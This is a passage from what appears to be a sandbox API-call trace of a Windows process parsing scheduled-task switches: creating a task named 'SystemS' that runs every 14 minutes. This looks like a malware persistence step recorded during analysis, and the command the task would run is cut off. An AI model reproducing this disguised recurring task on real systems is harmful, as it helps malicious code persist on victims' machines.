_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.349] lstrlenW (lpString="tn") returned 2 [0129.349] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.349] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|p|") returned 3 [0129.349] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.349] lstrlenW (lpString="|p|") returned 3 [0129.349] lstrlenW (lpString="|tn|") returned 4 [0129.349] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.349] lstrlenW (lpString="ru") returned 2 [0129.350] lstrlenW (lpString="ru") returned 2 [0129.350] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.350] lstrlenW (lpString="tn") returned 2 [0129.350] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.350] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ru|") returned 4 [0129.350] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.350] lstrlenW (lpString="|ru|") returned 4 [0129.350] lstrlenW (lpString="|tn|") returned 4 [0129.350] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0129.350] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.350] lstrlenW (lpString="rp") returned 2 [0129.350] lstrlenW (lpString="rp") returned 2 [0129.350] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.350] lstrlenW (lpString="tn") returned 2 [0129.350] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.350] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rp|") returned 4 [0129.350] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.350] lstrlenW (lpString="|rp|") returned 4 [0129.350] lstrlenW (lpString="|tn|") returned 4 [0129.350] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0129.350] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.350] lstrlenW (lpString="sc") returned 2 [0129.350] lstrlenW (lpString="sc") returned 2 [0129.350] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.350] lstrlenW (lpString="tn") returned 2 [0129.350] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.351] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.351] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.351] lstrlenW (lpString="|sc|") returned 4 [0129.351] lstrlenW (lpString="|tn|") returned 4 [0129.351] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0129.351] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.351] lstrlenW (lpString="mo") returned 2 [0129.351] lstrlenW (lpString="mo") returned 2 [0129.351] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.351] lstrlenW (lpString="tn") returned 2 [0129.351] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.351] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.351] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.351] lstrlenW (lpString="|mo|") returned 4 [0129.351] lstrlenW (lpString="|tn|") returned 4 [0129.351] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0129.351] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.351] lstrlenW (lpString="d") returned 1 [0129.351] lstrlenW (lpString="d") returned 1 [0129.351] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.351] lstrlenW (lpString="tn") returned 2 [0129.351] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.351] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|d|") returned 3 [0129.351] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.351] lstrlenW (lpString="|d|") returned 3 [0129.351] lstrlenW (lpString="|tn|") returned 4 [0129.352] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.352] lstrlenW (lpString="m") returned 1 [0129.352] lstrlenW (lpString="m") returned 1 [0129.352] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.352] lstrlenW (lpString="tn") returned 2 [0129.352] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.352] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|m|") returned 3 [0129.352] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.352] lstrlenW (lpString="|m|") returned 3 [0129.352] lstrlenW (lpString="|tn|") returned 4 [0129.352] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.352] lstrlenW (lpString="i") returned 1 [0129.352] lstrlenW (lpString="i") returned 1 [0129.352] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.352] lstrlenW (lpString="tn") returned 2 [0129.352] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.352] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|i|") returned 3 [0129.352] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.352] lstrlenW (lpString="|i|") returned 3 [0129.352] lstrlenW (lpString="|tn|") returned 4 [0129.352] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.352] lstrlenW (lpString="tn") returned 2 [0129.352] lstrlenW (lpString="tn") returned 2 [0129.352] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.352] lstrlenW (lpString="tn") returned 2 [0129.352] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.353] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.353] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|tn|") returned 4 [0129.353] lstrlenW (lpString="|tn|") returned 4 [0129.353] lstrlenW (lpString="|tn|") returned 4 [0129.353] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0129.353] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.353] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.353] lstrlenW (lpString="SystemS") returned 7 [0129.353] lstrlenW (lpString="-/") returned 2 [0129.353] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0129.353] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.353] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.353] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.353] lstrlenW (lpString="SystemS") returned 7 [0129.353] StrChrIW (lpStart="SystemS", wMatch=0x3a) returned 0x0 [0129.353] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.353] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.353] lstrlenW (lpString="SystemS") returned 7 [0129.353] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.353] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.353] lstrlenW (lpString="/sc") returned 3 [0129.353] lstrlenW (lpString="-/") returned 2 [0129.353] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.353] lstrlenW (lpString="create") returned 6 [0129.353] lstrlenW (lpString="create") returned 6 [0129.353] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.353] lstrlenW (lpString="sc") returned 2 [0129.353] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.354] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|create|") returned 8 [0129.354] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.354] lstrlenW (lpString="|create|") returned 8 [0129.354] lstrlenW (lpString="|sc|") returned 4 [0129.354] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0129.354] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.354] lstrlenW (lpString="?") returned 1 [0129.354] lstrlenW (lpString="?") returned 1 [0129.354] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.354] lstrlenW (lpString="sc") returned 2 [0129.354] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.354] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|?|") returned 3 [0129.354] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.354] lstrlenW (lpString="|?|") returned 3 [0129.354] lstrlenW (lpString="|sc|") returned 4 [0129.354] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.354] lstrlenW (lpString="s") returned 1 [0129.354] lstrlenW (lpString="s") returned 1 [0129.354] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.354] lstrlenW (lpString="sc") returned 2 [0129.354] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.354] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|s|") returned 3 [0129.354] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.354] lstrlenW (lpString="|s|") returned 3 [0129.354] lstrlenW (lpString="|sc|") returned 4 [0129.355] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.355] lstrlenW (lpString="u") returned 1 [0129.355] lstrlenW (lpString="u") returned 1 [0129.355] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.355] lstrlenW (lpString="sc") returned 2 [0129.355] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.355] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|u|") returned 3 [0129.355] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.355] lstrlenW (lpString="|u|") returned 3 [0129.355] lstrlenW (lpString="|sc|") returned 4 [0129.355] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.355] lstrlenW (lpString="p") returned 1 [0129.355] lstrlenW (lpString="p") returned 1 [0129.355] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.355] lstrlenW (lpString="sc") returned 2 [0129.355] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.355] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|p|") returned 3 [0129.355] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.355] lstrlenW (lpString="|p|") returned 3 [0129.355] lstrlenW (lpString="|sc|") returned 4 [0129.355] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.355] lstrlenW (lpString="ru") returned 2 [0129.355] lstrlenW (lpString="ru") returned 2 [0129.355] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.355] lstrlenW (lpString="sc") returned 2 [0129.356] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.356] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ru|") returned 4 [0129.356] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.356] lstrlenW (lpString="|ru|") returned 4 [0129.356] lstrlenW (lpString="|sc|") returned 4 [0129.356] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0129.356] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.356] lstrlenW (lpString="rp") returned 2 [0129.356] lstrlenW (lpString="rp") returned 2 [0129.356] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.356] lstrlenW (lpString="sc") returned 2 [0129.356] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.357] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rp|") returned 4 [0129.357] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.357] lstrlenW (lpString="|rp|") returned 4 [0129.357] lstrlenW (lpString="|sc|") returned 4 [0129.357] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0129.357] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.357] lstrlenW (lpString="sc") returned 2 [0129.357] lstrlenW (lpString="sc") returned 2 [0129.357] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.357] lstrlenW (lpString="sc") returned 2 [0129.357] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.357] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.357] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.357] lstrlenW (lpString="|sc|") returned 4 [0129.357] lstrlenW (lpString="|sc|") returned 4 [0129.357] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0129.357] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.357] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.357] lstrlenW (lpString="MINUTE") returned 6 [0129.357] lstrlenW (lpString="-/") returned 2 [0129.357] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0129.357] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.357] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.357] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.357] lstrlenW (lpString="MINUTE") returned 6 [0129.357] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0129.357] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.357] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.358] GetProcessHeap () returned 0x2a3f45b0000 [0129.358] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45ba950 [0129.358] _memicmp (_Buf1=0x2a3f45ba950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.358] lstrlenW (lpString="MINUTE") returned 6 [0129.358] GetProcessHeap () returned 0x2a3f45b0000 [0129.358] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xe) returned 0x2a3f45bab10 [0129.358] lstrlenW (lpString="MINUTE") returned 6 [0129.358] lstrlenW (lpString=" \x09") returned 2 [0129.358] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0129.358] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0129.358] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0129.358] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0129.358] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0129.358] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0129.358] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0129.358] GetLastError () returned 0x0 [0129.358] lstrlenW (lpString="MINUTE") returned 6 [0129.358] lstrlenW (lpString="MINUTE") returned 6 [0129.358] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.358] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.358] lstrlenW (lpString="/mo") returned 3 [0129.358] lstrlenW (lpString="-/") returned 2 [0129.358] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.358] lstrlenW (lpString="create") returned 6 [0129.358] lstrlenW (lpString="create") returned 6 [0129.358] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.358] lstrlenW (lpString="mo") returned 2 [0129.358] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.359] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|create|") returned 8 [0129.359] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.359] lstrlenW (lpString="|create|") returned 8 [0129.359] lstrlenW (lpString="|mo|") returned 4 [0129.359] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0129.359] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.359] lstrlenW (lpString="?") returned 1 [0129.359] lstrlenW (lpString="?") returned 1 [0129.359] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.359] lstrlenW (lpString="mo") returned 2 [0129.359] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.359] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|?|") returned 3 [0129.359] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.359] lstrlenW (lpString="|?|") returned 3 [0129.359] lstrlenW (lpString="|mo|") returned 4 [0129.359] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.359] lstrlenW (lpString="s") returned 1 [0129.359] lstrlenW (lpString="s") returned 1 [0129.359] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.359] lstrlenW (lpString="mo") returned 2 [0129.359] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.359] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|s|") returned 3 [0129.359] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.359] lstrlenW (lpString="|s|") returned 3 [0129.359] lstrlenW (lpString="|mo|") returned 4 [0129.360] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.360] lstrlenW (lpString="u") returned 1 [0129.360] lstrlenW (lpString="u") returned 1 [0129.360] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.360] lstrlenW (lpString="mo") returned 2 [0129.360] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.360] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|u|") returned 3 [0129.360] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.360] lstrlenW (lpString="|u|") returned 3 [0129.360] lstrlenW (lpString="|mo|") returned 4 [0129.360] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.360] lstrlenW (lpString="p") returned 1 [0129.360] lstrlenW (lpString="p") returned 1 [0129.360] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.360] lstrlenW (lpString="mo") returned 2 [0129.360] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.360] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|p|") returned 3 [0129.360] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.360] lstrlenW (lpString="|p|") returned 3 [0129.360] lstrlenW (lpString="|mo|") returned 4 [0129.360] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.360] lstrlenW (lpString="ru") returned 2 [0129.360] lstrlenW (lpString="ru") returned 2 [0129.360] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.360] lstrlenW (lpString="mo") returned 2 [0129.360] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.361] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|ru|") returned 4 [0129.361] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.361] lstrlenW (lpString="|ru|") returned 4 [0129.361] lstrlenW (lpString="|mo|") returned 4 [0129.361] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0129.361] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.361] lstrlenW (lpString="rp") returned 2 [0129.361] lstrlenW (lpString="rp") returned 2 [0129.361] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.361] lstrlenW (lpString="mo") returned 2 [0129.361] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.361] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|rp|") returned 4 [0129.361] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.361] lstrlenW (lpString="|rp|") returned 4 [0129.361] lstrlenW (lpString="|mo|") returned 4 [0129.361] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0129.361] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.361] lstrlenW (lpString="sc") returned 2 [0129.361] lstrlenW (lpString="sc") returned 2 [0129.361] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.361] lstrlenW (lpString="mo") returned 2 [0129.361] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.361] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|sc|") returned 4 [0129.361] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.361] lstrlenW (lpString="|sc|") returned 4 [0129.362] lstrlenW (lpString="|mo|") returned 4 [0129.362] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0129.362] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.362] lstrlenW (lpString="mo") returned 2 [0129.362] lstrlenW (lpString="mo") returned 2 [0129.362] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.362] lstrlenW (lpString="mo") returned 2 [0129.362] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.362] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.362] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002ac1a8 | out: _Buffer="|mo|") returned 4 [0129.362] lstrlenW (lpString="|mo|") returned 4 [0129.362] lstrlenW (lpString="|mo|") returned 4 [0129.362] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0129.362] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.362] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.362] lstrlenW (lpString="14") returned 2 [0129.362] lstrlenW (lpString="-/") returned 2 [0129.362] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0129.362] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.362] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.362] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.362] lstrlenW (lpString="14") returned 2 [0129.362] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0129.362] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.362] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.362] _memicmp (_Buf1=0x2a3f45ba950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.362] lstrlenW (lpString="14") returned 2 [0129.362] lstrlenW (lpString="14") returned 2 [0129.363] lstrlenW (lpString=" \x09") returned 2 [0129.363] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0129.363] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0129.363] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0129.363] GetLastError () returned 0x0 [0129.363] lstrlenW (lpString="14") returned 2 [0129.363] lstrlenW (lpString="14") returned 2 [0129.363] GetProcessHeap () returned 0x2a3f45b0000 [0129.363] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x6) returned 0x2a3f45b4a60 [0129.363] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.363] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.363] lstrlenW (lpString="/tr") returned 3 [0129.363] lstrlenW (lpString="-/") returned 2 [0129.363] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.363] lstrlenW (lpString="create") returned 6 [0129.363] lstrlenW (lpString="create") returned 6 [0129.363] _memicmp 